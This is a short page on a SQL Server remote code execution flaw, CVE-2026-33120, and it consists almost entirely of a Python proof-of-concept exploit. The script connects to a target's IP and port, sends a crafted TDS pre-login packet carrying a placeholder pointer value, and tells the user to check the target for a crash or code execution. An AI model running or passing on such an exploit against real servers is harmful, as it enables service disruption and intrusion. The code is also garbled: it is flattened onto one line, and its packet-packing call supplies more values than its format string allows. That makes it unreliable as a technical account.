CVE-2026-33120 SQL Server 远程代码执行漏洞

import socket import struct # Proof of Concept for CVE-2026-33120 (Conceptual) # This script demonstrates how to send a crafted packet to trigger # the untrusted pointer dereference in SQL Server. # Usage: python poc.py <target_ip> <target_port> def send_exploit(host, port): try: # Establish TCP connection to SQL Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Construct TDS pre-login packet (Simplified header) packet_type = 0x12 status = 0x01 length = 0x0034 spid = 0x0000 packet_id = 0x01 window = 0x0000 header = struct.pack('>BBHHBBH', packet_type, status, length, spid, packet_id, window, 0x00) # Padding and data data = b"\x00" * 0x20 # Malicious pointer value (e.g., 0x4141414141414141) # This pointer is expected to be dereferenced by the vulnerable component evil_pointer = struct.pack('<Q', 0x4141414141414141) payload = header + data + evil_pointer # Send payload s.send(payload) print(f"[*] Payload sent to {host}:{port}") print("[*] Check the target for crash or code execution.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": import sys if len(sys.argv) != 3: print("Usage: python poc.py <IP> <PORT>") else: send_exploit(sys.argv[1], int(sys.argv[2]))